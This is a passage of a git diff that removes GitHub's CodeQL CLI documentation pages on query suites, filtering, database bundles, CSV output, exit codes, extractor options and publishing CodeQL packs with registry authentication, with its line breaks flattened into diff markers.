Tells {% data variables.product.prodname_codeql %} to look for one or more specified `.ql` -files: - - ```yaml - - query: <path-to-query> - ``` - - The argument must be one or more file paths, relative to the {% data variables.product.prodname_codeql %} pack containing - the suite definition. - -* A `queries` instruction: Tells {% data variables.product.prodname_codeql %} to recursively scan a directory -for `.ql` files: - - ```yaml - - queries: <path-to-subdirectory> - ``` - - The path of the directory must be relative to the root of the {% data variables.product.prodname_codeql %} pack that - contains the suite definition file. To find the queries relative to a - different {% data variables.product.prodname_codeql %} pack, add a `from` field: - - ```yaml - - queries: <path-to-subdirectory> - from: <ql-pack-name> - version: ^x.y.z - ``` - - The `version` field is optional and specifies a range of compatible versions of this {% data variables.product.prodname_codeql %} pack. - If you don’t specify a version, then the most recent version of the pack is used. - -* A `qlpack` instruction: Tells {% data variables.product.prodname_codeql %} to resolve queries in the default suite of the -named {% data variables.product.prodname_codeql %} pack: - - ```yaml - - qlpack: <qlpack-name> - version: ^x.y.z - ``` - - The default suite of a query pack includes a recommended set of queries - inside of that query pack. Not all query packs have a default suite. If the given query pack does not define a default suite, the qlpack instruction will resolve to all of the queries within the pack. - - The `version` field is optional and specifies a range of compatible versions of this {% data variables.product.prodname_codeql %} pack. - If you don’t specify a version, then the most recent version of the pack is used. - -> [!NOTE] -> When pathnames appear in query suite definitions, they must always be given with a forward slash, `/`, as a directory separator. This ensures that query suite definitions work on all operating systems. - -You must add at least one `query`, `queries`, or `qlpack` instruction to -your suite definition, otherwise no queries will be selected. If the suite -contains no further instructions, all the queries found from the list of files, -in the given directory, or in the named {% data variables.product.prodname_codeql %} pack are selected. If there are further -filtering instructions, only queries that match the constraints imposed by those -instructions will be selected. - -## Filtering the queries in a query suite - -After you have defined the initial set of queries to add to your suite by -specifying `query`, `queries`, or `qlpack` instructions, you can add -`include` and `exclude` instructions. These instructions define selection -criteria based on specific properties: - -* When you execute an `include` instruction on a set of queries, any -queries that match your conditions are retained in the selection, and queries -that don’t match are removed. -* When you execute an `exclude` instructions on a set of queries, -any queries that match your conditions are removed from the selection, and queries -that don’t match are retained. - -The order of your filter instructions is important. The first filter instruction -that appears after the locating instructions determines whether the queries are -included or excluded by default. If the first filter is an `include`, the -initially located queries will only be part of the suite if they match an -explicit `include` filter. If the first filter is an `exclude`, the initially -located queries are part of the suite unless they are explicitly excluded. - -Subsequent instructions are executed in order and the instructions that appear -later in the file take precedence over the earlier instructions. So, `include` -instructions can be overridden by a later `exclude` instructions that match -the same query. Similarly, `exclude`s can be overridden by a later -`include`. - -For both instructions, the argument is a constraint block—that is, a YAML map -representing the constraints. Each constraint is a map entry, where the key is -typically a query metadata property. The value can be: - -* A single string. -* A `/`-enclosed [regular expression](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/regex/Pattern.html). -* A list containing strings, regular expressions, or both. - -To match a constraint, a metadata value must match one of the strings or -regular expressions. When there is more than one metadata key, each key must be matched. -The standard metadata keys available to match on are: `description`, `id`, `kind`, -`name`, `tags`, `precision`, and `problem.severity`. -For more information about query metadata properties, see -[Metadata for {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/#metadata-for-codeql-queries). - -In addition to metadata tags, the keys in the constraint block can also be: - -* `query filename`: Matches on the last path component of the query file name. -* `query path`: Matches on the path to the query file relative to its -enclosing {% data variables.product.prodname_codeql %} pack. -* `tags contain`: One of the given match strings must match -one of the space-separated components of the value of the `@tags` metadata property. -* `tags contain all`: Each of the given match strings must match one of the -components of the `@tags` metadata property. - -### Examples of filtering which queries are run - -A common use case is to create a query suite that runs all queries in a {% data variables.product.prodname_codeql %} pack, -except for a few specific queries that the user does not want to run. In general, we -recommend filtering on the query `id`, which is a unique and stable identifier for -each query. The following three query suite definitions are semantically identical and -filter by the query `id`: - -This filter matches all the queries in the default suite of `codeql/cpp-queries`, except for the two queries with the excluded identifiers: - -```yaml -- qlpack: codeql/cpp-queries -- exclude: - id: - - cpp/cleartext-transmission - - cpp/cleartext-storage-file -``` - -In this example, a separate `exclude` instruction is used for each query: - -```yaml -- qlpack: codeql/cpp-queries -- exclude: - id: cpp/cleartext-transmission -- exclude: - id: cpp/cleartext-storage-file -``` - -In this example, a regular expression excludes the same two queries. It would also exclude any future queries added to the suite with identifiers that begin: `cpp/cleartext-`: - -```yaml -- qlpack: codeql/cpp-queries -- exclude: - id: - - /^cpp\/cleartext-.*/ -``` - -To define a suite that selects all queries in the default suite of the -`codeql/cpp-queries` {% data variables.product.prodname_codeql %} pack, and then refines them to only include -security queries, use: - -```yaml -- qlpack: codeql/cpp-queries -- include: - tags contain: security -``` - -To define a suite that selects all queries with `@kind problem` -and `@precision high` from the `my-custom-queries` directory, use: - -```yaml -- queries: my-custom-queries -- include: - kind: problem - precision: very-high -``` - -Note that the following query suite definition behaves differently from the definition above. This definition selects queries that are `@kind problem` _or_ -are `@precision very-high`: - -```yaml -- queries: my-custom-queries -- include: - kind: problem -- include: - precision: very-high -``` - -To create a suite that selects all queries with `@kind problem` from the -`my-custom-queries` directory except those with `@problem.severity -recommendation`, use: - -```yaml -- queries: my-custom-queries -- include: - kind: problem -- exclude: - problem.severity: recommendation -``` - -To create a suite that selects all queries with `@tag security` and -`@precision high` or `very-high` from the `codeql/cpp-queries` {% data variables.product.prodname_codeql %} pack, -use: - -```yaml -- queries: . - from: codeql/cpp-queries -- include: - tags contain: security - precision: - - high - - very-high -``` - -> [!NOTE] -> You can use the `codeql resolve queries /path/to/suite.qls` command to see which queries are selected by a query suite definition. For more information, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/resolve-queries). - -## Reusing existing query suite definitions - -Existing query suite definitions can be reused by specifying: - -* An `import` instruction: Adds the queries selected by a -previously defined `.qls` file to the current suite: - - ```yaml - - import: <path-to-query-suite> - ``` - - The path to the imported suite must be relative to the {% data variables.product.prodname_codeql %} pack containing the - current suite definition. If the imported query suite is in a different QL - pack you can use: - - ```yaml - - import: <path-to-query-suite> - from: <ql-pack> - version: ^x.y.z - ``` - - The `version` field is optional and specifies a range of compatible versions of this {% data variables.product.prodname_codeql %} pack. - If you don’t specify a version, then the most recent version of the pack is used. - - Queries added using an `import` instruction can be filtered using subsequent - `exclude` instructions. - -* An `apply` instruction: Adds all of the instructions from a -previously defined `.qls` file to the current suite. The instructions in the -applied `.qls` file are executed as if they appear in place of `apply`. -Any `include` and `exclude` instructions from the applied suite also act on -queries added by any earlier instructions: - - ```yaml - - apply: <path-to-query-suite> - ``` - - The `apply` instruction can also be used to apply a set of reusable - conditions, saved in a `.yml` file, to multiple query definitions. For more - information, see the [examples](#reusability-examples) below. - -### Reusability Examples - -To use the same conditions in multiple query suite definitions, create a -separate `.yml` file containing your instructions. For example, save the -following in a file called `reusable-instructions.yml`: - -```yaml -- include: - kind: - - problem - - path-problem - tags contain: security - precision: - - high - - very-high -``` - -Add `reusable-instructions.yml` to the same {% data variables.product.prodname_codeql %} pack as your current query -suite. Then, in one or more query suites, use the `apply` instruction to apply -the reusable instructions to the current suite. For example: - -```yaml -- queries: queries/cpp/custom -- apply: reusable-instructions.yml -``` - -This will filter the queries in `queries/cpp/custom` to only include those that match the reusable conditions. - -You can also create a suite definition using `reusable-instructions.yml` on -queries in a different {% data variables.product.prodname_codeql %} pack. If the `.qls` file is in the same {% data variables.product.prodname_codeql %} pack as -the queries, you can add a `from` field immediately after the `apply` -instruction: - -```yaml -# load queries from the default suite of my-org/my-other-custom-queries -- qlpack: my-org/my-other-custom-queries - -# apply the reusable instructions from the my-org/my-custom-instructions {% data variables.product.prodname_codeql %} pack -- apply: reusable-instructions.yml - from: my-org/my-custom-instructions - version: ^1.2.3 # optional -``` - -A common use case for an `import` instruction is to apply a further filter to queries from another -query suite. For example, this suite will further filter the `cpp-security-and-quality` suite -and exclude `low` and `medium` precision queries: - -```yaml -- import: codeql-suites/cpp-security-and-quality.qls - from: codeql/cpp-queries -- exclude: - precision: - - low - - medium -``` - -If you want to `include` queries imported from another suite, the syntax is a little different: - -```yaml -- import: codeql-suites/cpp-security-and-quality.qls - from: codeql/cpp-queries -- exclude: {} -- include: - precision: - - very-high - - high -``` - -Notice the empty `exclude` instruction. This is required to ensure that the subsequent `include` -instruction is able to filter queries from the imported suite. - -## Naming a query suite - -You can provide a name for your query suite by specifying a `description` -instruction: - -```yaml -- description: <name-of-query-suite> -``` - -## Saving a query suite - -Save your query suite in a file with a `.qls` extension and add it to a {% data variables.product.prodname_codeql %} -pack. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs#custom-codeql-packs). - -## Using query suites with {% data variables.product.prodname_codeql %} - -You can specify query suites on the command line for any command that accepts -`.qls` files. For example, you can compile the queries selected by a suite -definition using `query compile`, or use the queries in an analysis using -`database analyze`. For more information about analyzing {% data variables.product.prodname_codeql %} databases, see -[AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries). - -## Further reading - -* [{% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/#codeql-queries) diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-database-bundle-for-troubleshooting.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-database-bundle-for-troubleshooting.md deleted file mode 100644 index 79e7db9516d5..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-database-bundle-for-troubleshooting.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Creating CodeQL CLI database bundles -intro: 'You can create a database bundle with {% data variables.product.prodname_codeql %} troubleshooting information.' -allowTitleToDifferFromFilename: true -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL ---- - -> [!WARNING] -> {% data variables.product.prodname_codeql_cli %} database bundles contain a copy of the source code being analyzed by {% data variables.product.prodname_codeql %}, therefore we suggest sharing these bundles only with people who are authorized to access that source code. - -## About creating {% data variables.product.prodname_codeql_cli %} database bundles - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - -The {% data variables.product.prodname_codeql_cli %} database bundle command can be used to create a relocatable archive of a {% data variables.product.prodname_codeql %} database. - -A copy of a database bundle can be used to share troubleshooting information with your team members or with {% data variables.contact.github_support %}. - -The following {% data variables.product.prodname_codeql_cli %} command syntax is suggested when creating a database bundle for troubleshooting purposes: - -> [!NOTE] -> This sample `database bundle` command requires {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_version_min_version_create_bundle %} or higher. - -```shell -codeql database bundle --output=codeql-debug-artifacts.zip --include-diagnostics --include-logs --include-results -- <dir> -``` - -For this command, `<dir>` must be the path to the directory where the {% data variables.product.prodname_codeql %} database was created. - -The successful command execution creates a zip file called `codeql-debug-artifacts.zip` which contains {% data variables.product.prodname_codeql %} troubleshooting information. That file is the database bundle. - -This command assumes that the `--log-dir` command line argument was not used for the `database create` and `database analyze` commands. When that command line argument is used, the log files created by those commands will not be included with the database bundle. - -## Increasing the verbosity for `database create` and `database analyze` - -If the `database create` and `database analyze` commands are not detailed enough for troubleshooting purposes, you can increase their verbosity. - -Both commands support the `--verbosity` command line argument which can be set to `progress++` prior to creating a database bundle. diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/csv-output.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/csv-output.md deleted file mode 100644 index fcc2aef5dbdd..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/csv-output.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: CodeQL CLI CSV output -intro: 'You can output results from the {% data variables.product.prodname_codeql_cli %} in CSV format to share with other systems.' -product: '{% data reusables.gated-features.codeql %}' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL ---- - -## About CSV output - -You can save analysis results from the {% data variables.product.prodname_codeql_cli %} in a number of different formats, including SARIF and CSV. We do generally recommend SARIF because it is a standard output for static analysis tools and easier to parse. You can also upload SARIF files to {% data variables.product.github %}. However, CSV format may be useful if you need to further process the analysis results using your own tools. For more information on selecting a file format for your analysis results, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-analyze). - -For more information about the SARIF format, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/sarif-output). - -If you choose to generate results in CSV format, then each line in the output file corresponds to an alert. Each line is a comma-separated list with the following information. - -**Property**|**Description**|**Example** ------|-----|----- -Name | Name of the query that identified the result. | `Inefficient regular expression` -Description | Description of the query.| `A regular expression that requires exponential time to match certain inputs can be a performance bottleneck, and may be vulnerable to denial-of-service attacks.` -Severity | Severity of the query.| `error` -Message | Alert message.| `This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\'.` -Path | Path of the file containing the alert. | `/vendor/codemirror/markdown.js` -Start line | Line of the file where the code that triggered the alert begins. | `617` -Start column | Column of the start line that marks the start of the alert code. Not included when equal to 1. | `32` -End line | Line of the file where the code that triggered the alert ends. Not included when the same value as the start line. | `64` -End column | Where available, the column of the end line that marks the end of the alert code. Otherwise the end line is repeated. | `617` diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/exit-codes.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/exit-codes.md deleted file mode 100644 index 904477c81b23..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/exit-codes.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Exit codes -intro: 'Exit codes signify the status of a command after the {% data variables.product.prodname_codeql_cli %} runs it.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/exit-codes - - /code-security/codeql-cli/codeql-cli-reference/exit-codes ---- - -## About exit codes - -The {% data variables.product.prodname_codeql_cli %} reports the status of each command it runs as an exit code. -This exit code provides information for subsequent commands or for other tools that rely on the {% data variables.product.prodname_codeql_cli %}. - -## 0 - -Success, normal termination. - -## 1 - -The command successfully determined that the answer to your question is "no". - -This exit code is only used by a few commands, such as [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/test-run), [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/dataset-check), [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/query-format),and [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/resolve-extractor). -For more details, see the documentation for those commands. - -## 2 - -Something went wrong. - -The CLI writes a human-readable error message to stderr. -This includes cases where an extractor fails with an internal error, because the `codeql` driver can’t distinguish between internal and user-facing errors in extractor behavior. - -## 3 - -The launcher was unable to find the {% data variables.product.prodname_codeql %} installation directory. - -In this case, the launcher can’t start the Java code for the {% data variables.product.prodname_codeql_cli %} at all. This should only happen when something is severely wrong with the {% data variables.product.prodname_codeql %} installation. - -## 32 - -The extractor didn’t find any code to analyze when running [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-create) or [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/database-finalize). - -## 33 - -One or more query evaluations timed out. - -It’s possible that some queries that were evaluated in parallel didn’t time out. The results for those queries are produced as usual. - -## 98 - -Evaluation was explicitly canceled. - -## 99 - -The {% data variables.product.prodname_codeql_cli %} ran out of memory. - -This doesn’t necessarily mean that all the machine’s physical RAM has been used. -If you don’t use the `--ram` option to set a limit explicitly, the JVM decides on a default limit at startup. - -## 100 - -A fatal internal error occurred. - -This should be considered a bug. The CLI usually writes an abbreviated error description to stderr. -If you can reproduce the bug, it’s helpful to use `--logdir` and send the log files to {% data variables.product.prodname_dotcom %} in a bug report. - -## Other - -In the case of really severe problems within the JVM that runs `codeql`, it might return a nonzero exit code of its own choosing. -This should only happen if something is severely wrong with the {% data variables.product.prodname_codeql %} installation, or if there is a memory issue with the host system running the {% data variables.product.prodname_codeql %} process. For example, Unix systems may return Exit Code 137 to indicate that the kernel has killed a process that {% data variables.product.prodname_codeql %} has started. One way to troubleshoot this is to modify your `–ram=` flag for the `codeql database analyze` step and re-run your workflow. diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/extractor-options.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/extractor-options.md deleted file mode 100644 index 0b6560e8b8bc..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/extractor-options.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Extractor options -intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_codeql %} processes locally on software projects.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/extractor-options - - /code-security/codeql-cli/using-the-codeql-cli/extractor-options ---- -<!--The CodeQL CLI man pages include a link to this article. If you rename this article, -make sure that you also update the MS short link: https://aka.ms/codeql-cli-docs/extractor-options.--> - -## About extractors - -The {% data variables.product.prodname_codeql_cli %} uses special programs, called extractors, to extract information from the source code of a software system into a database that can be queried. You can customize the behavior of extractors by setting extractor configuration options through the {% data variables.product.prodname_codeql_cli %}. - -## About extractor options - -Each extractor defines its own set of configuration options. To find out which options are available for a particular extractor, you can run `codeql resolve languages` or `codeql resolve extractor` with the `--format=betterjson` option. The `betterjson` output format provides the root paths of extractors and additional information. The output of `codeql resolve extractor --format=betterjson` will often be formatted like the following example: - -```json -{ - "extractor_root" : "/home/user/codeql/java", - "extractor_options" : { - "option1" : { - "title" : "Java extractor option 1", - "description" : "An example string option for the Java extractor.", - "type" : "string", - "pattern" : "[a-z]+" - }, - "group1" : { - "title" : "Java extractor group 1", - "description" : "An example option group for the Java extractor.", - "type" : "object", - "properties" : { - "option2" : { - "title" : "Java extractor option 2", - "description" : "An example array option for the Java extractor", - "type" : "array", - "pattern" : "[1-9][0-9]*" - } - } - } - } -} -``` - -The extractor option names and descriptions are listed under `extractor_options`. Each option may contain the following fields: - -* `title` (required): The title of the option -* `description` (required): The description of the option -* `type` (required): The type of the option, which can be - * `string`: indicating that the option can have a single string value - * `array`: indicating that the option can have a sequence of string values - * `object`: indicating that it is not an option itself, but a grouping that may contain other options and option groups -* `pattern` (optional): The regular expression patterns that all values of the option should match. Note that the extractor may impose additional constraints on option values that are not or cannot be expressed in this regular expression pattern. Such constraints, if they exist, would be explained under the description field. -* `properties` (optional): A map from extractor option names in the option group to the corresponding extractor option descriptions. This field can only be present for option groups. For example, options of `object` type. - -In the example above, the extractor declares two options: - -* `option1` is a `string` option with value matching `[a-z]+` -* `group1.option2` is an `array` option with values matching `[1-9][0-9]\*` - -## Setting extractor options with the {% data variables.product.prodname_codeql_cli %} - -The {% data variables.product.prodname_codeql_cli %} supports setting extractor options in subcommands that directly or indirectly invoke extractors. These commands are: - -* `codeql database create` -* `codeql database start-tracing` -* `codeql database trace-command` -* `codeql database index-files` - -When running these subcommands, you can set extractor options with the `--extractor-option` CLI option. For example: - -* `codeql database create --extractor-option java.option1=abc ...` -* `codeql database start-tracing --extractor-option java.group1.option2=102 ...` - -`--extractor-option` requires exactly one argument of the form `extractor_option_name=extractor_option_value`. `extractor_option_name` is the name of the extractor (in this example, `java`) followed by a period and then the name of the extractor option (in this example, either `option1` or `group1.option2`). `extractor_option_value` is the value being assigned to the extractor option. The value must match the regular expression pattern of the extractor option (if it exists), and it must not contain newline characters. - -Using `--extractor-option` to assign an extractor option that does not exist is an error. - -The {% data variables.product.prodname_codeql_cli %} accepts multiple `--extractor-option` options in the same invocation. If you set a `string` extractor option multiple times, the last option value overwrites all previous ones. If you set an array extractor option multiple times, all option values are concatenated in order. - -You can also specify extractor option names without the extractor name. For example: - -* `codeql database create --extractor-option option1=abc ...` -* `codeql database start-tracing --extractor-option group1.option2=102 ...` - -If you do not specify an extractor name, the extractor option settings will apply to all extractors that declare an option with the given name. In the above example, the first command would set the extractor option `option1` to `abc` for the `java` extractor and every extractor that has an option of `option1`, for example the `cpp` extractor, if the `option1` extractor option exists for that extractor. - -## Setting extractor options from files - -You can also set extractor options through a file. The {% data variables.product.prodname_codeql_cli %} subcommands that accept `--extractor-option` also accept `--extractor-options-file`, which has a required argument of the path to a YAML file (with extension `.yaml` or `.yml`) or a JSON file (with extension `.json`). For example: - -* `codeql database create --extractor-options-file options.yml ...` -* `codeql database start-tracing --extractor-options-file options.json ...` - -Each option file contains a tree structure of nested maps. At the root is an extractor map key, and beneath it are map keys that correspond to extractor names. Starting at the third level, there are extractor options and option groups. - -In JSON: - -```json -{ - "extractor" : { - "java": { - "option1" : "abc", - "group1" : { - "option2" : [ 102 ] - } - } - } -} -``` - -In YAML: - -```yaml -extractor: - java: - option1: "abc" - group1: - option2: [ 102 ] -``` - -The value for a `string` extractor option must be a string or a number (which will be converted to a string before further processing). - -The value for an `array` extractor option must be an array of strings or numbers. - -The value for an option group (of type `object`) must be a map, which may contain nested extractor options and option groups. - -Each extractor option value must match the regular expression pattern of the extractor option (if it exists), and it must not contain newline characters. - -Assigning an extractor option that does not exist is an error. You can make the {% data variables.product.prodname_codeql_cli %} ignore unknown extractor options by using a special `__allow_unknown_properties` Boolean field. For example, the following option file asks the {% data variables.product.prodname_codeql_cli %} to ignore all unknown extractor options and option groups under `group1`: - -```yaml -extractor: - java: - option1: "abc" - group1: - __allow_unknown_properties: true - option2: [ 102 ] -``` - -You can specify `--extractor-options-file` multiple times. The extractor option assignments are processed in the following order: - -1. All extractor option files specified by `--extractor-options-file` are processed in the order they appear on the command line, then -1. All extractor option assignments specified by `--extractor-option` are processed in the order they appear on the command line - -The same rules govern what happens when the same extractor option is set multiple times, regardless of whether the assignments are done using `--extractor-option`, using `--extractor-options-file`, or some combination of the two. If you set a `string` extractor option multiple times, the last option value overwrites all previous values. If you set an `array` extractor option multiple times, all option values are concatenated in order. diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/index.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/index.md deleted file mode 100644 index 9abdd52bd070..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/index.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Using the advanced functionality of the CodeQL CLI -intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to locally develop, test and run {% data variables.product.prodname_codeql %} queries on software projects.' -product: '{% data reusables.gated-features.codeql %}' -shortTitle: Advanced functionality -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /advanced-setup-of-the-codeql-cli - - /about-codeql-workspaces - - /using-custom-queries-with-the-codeql-cli - - /creating-codeql-query-suites - - /testing-custom-queries - - /testing-query-help-files - - /creating-and-working-with-codeql-packs - - /publishing-and-using-codeql-packs - - /specifying-command-options-in-a-codeql-configuration-file - - /query-reference-files - - /sarif-output - - /csv-output - - /extractor-options - - /exit-codes - - /creating-database-bundle-for-troubleshooting -redirect_from: - - /code-security/codeql-cli/codeql-cli-reference ---- diff --git a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs.md b/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs.md deleted file mode 100644 index 6fcf7ae5624a..000000000000 --- a/content/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/publishing-and-using-codeql-packs.md +++ /dev/null @@ -1,540 +0,0 @@ ---- -title: Publishing and using CodeQL packs -intro: 'You can publish your own {% data variables.product.prodname_codeql %} packs and use packs published by other people.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -redirect_from: - - /code-security/codeql-cli/publishing-and-using-codeql-packs - - /code-security/codeql-cli/using-the-codeql-cli/publishing-and-using-codeql-packs ---- - -{% ifversion ghec or ghes %} - -## Working with {% data variables.product.prodname_codeql %} packs on {% data variables.enterprise.gh_enterprise %} - -By default, the {% data variables.product.prodname_codeql_cli %} expects to download {% data variables.product.prodname_codeql %} packs from and publish packs to the {% data variables.product.prodname_container_registry %} on {% data variables.product.prodname_dotcom_the_website %}. However, you can also work with {% data variables.product.prodname_codeql %} packs in a {% data variables.product.prodname_container_registry %} on {% data variables.enterprise.gh_enterprise %} by creating a `qlconfig.yml` file to tell the CLI which {% data variables.product.prodname_container_registry %} to use for each pack. - -Create a `~/.codeql/qlconfig.yml` file on Linux/MacOS or `%HOMEPATH%\.codeql\qlconfig.yml` on Windows using your preferred text editor, and add entries to specify which registry to use for one or more package name patterns. -For example, the following `qlconfig.yml` file associates all packs with the {% data variables.product.prodname_container_registry %} at `{% data variables.enterprise.gh_enterprise_domain %}`, except packs matching `codeql/\*` or the `other-org/*` organization, which are associated with the {% data variables.product.prodname_container_registry %} on {% data variables.product.prodname_dotcom_the_website %}: - -```yaml -registries: -- packages: - - 'codeql/*' - - 'other-org/*' - # {% data variables.product.prodname_container_registry %} on {% data variables.product.prodname_dotcom_the_website %} - url: https://ghcr.io/v2/ -- packages: '*' - # {% data variables.product.prodname_container_registry %} hosted at `{% data variables.enterprise.gh_enterprise_domain %}` - url: {% data variables.enterprise.gh_enterprise_container_registry %} -``` - -The {% data variables.product.prodname_codeql_cli %} will determine which registry to use for a given package name by finding the first item in the `registries` list with a `packages` property that matches that package name. -This means that you’ll generally want to define the most specific package name patterns first. The `packages` property may be a single package name, a glob pattern, or a YAML list of package names and glob patterns. - -The `registries` list can also be placed inside a `codeql-workspace.yml` file. Doing so will allow you to define the registries to be used within a specific workspace, so that it can be shared amongst other {% data variables.product.prodname_codeql %} users of the workspace. The `registries` list in `codeql-workspace.yml` will be merged with and take precedence over the list in the global `qlconfig.yml`. For more information about `codeql-workspace.yml`, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/about-codeql-workspaces#about-codeql-workspaces). - -You can now use `codeql pack publish`, `codeql pack download`, and `codeql database analyze` to manage packs on {% data variables.enterprise.gh_enterprise %}. - -{% endif %} - -## Authenticating to {% data variables.product.github %} {% data variables.product.prodname_container_registries %} - -You can publish packs and download private packs by authenticating to the appropriate {% data variables.product.github %} {% data variables.product.prodname_container_registry %}. - -{% ifversion ghec or ghes %} - -### Authenticating to {% data variables.product.prodname_container_registries %} on {% data variables.product.prodname_dotcom_the_website %} - -{% endif %} - -You can authenticate to the {% data variables.product.prodname_container_registry %} in two ways: - -1. Pass the `--github-auth-stdin` option to the {% data variables.product.prodname_codeql_cli %}, then supply a {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} via standard input. -1. Set the `GITHUB_TOKEN` environment variable to a {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %}. - -{% ifversion ghec or ghes %} - -### Authenticating to {% data variables.product.prodname_container_registries %} on {% data variables.enterprise.gh_enterprise %} - -Similarly, you can authenticate to a {% data variables.product.prodname_container_registry %} on {% data variables.enterprise.gh_enterprise %}, or authenticate to multiple registries simultaneously (for example, to download or run private packs from multiple registries) in two ways: - -1. Pass the `--registries-auth-stdin` option to the {% data variables.product.prodname_codeql_cli %}, then supply a registry authentication string via standard input. -1. Set the `CODEQL_REGISTRIES_AUTH` environment variable to a registry authentication string. - -A registry authentication string is a comma-separated list of `<registry-url>=<token>` pairs, where `registry-url` is a {% data variables.product.prodname_container_registry %} URL, such as `{% data variables.enterprise.gh_enterprise_container_registry %}`, and `token` is a {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} for that {% data variables.product.prodname_container_registry %}. -This ensures that each token is only passed to the {% data variables.product.prodname_container_registry %} you specify. - -For example, the following registry authentication string specifies that the {% data variables.product.prodname_codeql_cli %} should authenticate as follows: - -* Use the token `<token1>` to authenticate to {% data variables.product.prodname_container_registry %} on {% data variables.product.prodname_dotcom_the_website %}. -* Use the token `<token2>` to authenticate to the {% data variables.product.prodname_container_registry %} for the enterprise at `{% data variables.enterprise.gh_enterprise_container_registry %}`. - -```shell -https://ghcr.io/v2/=<token1>,{% data variables.enterprise.gh_enterprise_container_registry %}=<token2> -``` - -{% endif %} - -## Configuring the `qlpack.yml` file before publishing - -{% data reusables.code-scanning.codeql-cli-version-ghes %} - -You can check and modify the configuration details of your {% data variables.product.prodname_codeql %} pack prior to publishing. Open the `qlpack.yml` file in your preferred text editor. - -```yaml -library: # set to true if the pack is a library. Set to false or omit for a query pack -name: <scope>/<pack> -version: <x.x.x> -description: <Description to publish with the package> -defaultSuite: # optional, one or more queries in the pack to run by default - - query: <relative-path>/query-file>.ql -defaultSuiteFile: default-queries.qls # optional, a pointer to a query-suite in this pack -license: # optional, the license under which the pack is published -dependencies: # map from CodeQL pack name to version range -``` - -* `name:` must follow the `<scope>/<pack>` format, where `<scope>` is the {% data variables.product.prodname_dotcom %} organization that you will publish to and `<pack>` is the name for the pack. - -* A maximum of one of `defaultSuite` or `defaultSuiteFile` is allowed. These are two different ways to define a default query suite to be run, the first by specifying queries directly in the qlpack.yml file and the second by specifying a query suite in the pack. - -## Running `codeql pack publish` - -When you are ready to publish a pack to the {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_container_registry %}, you can run the following command in the root of the pack directory: - -```shell -codeql pack publish -``` - -The published package will be displayed in the packages section of {% data variables.product.prodname_dotcom %} organization specified by the scope in the `qlpack.yml` file. - -> [!NOTE] -> If you're publishing model packs to the {% data variables.product.prodname_dotcom %} {% data 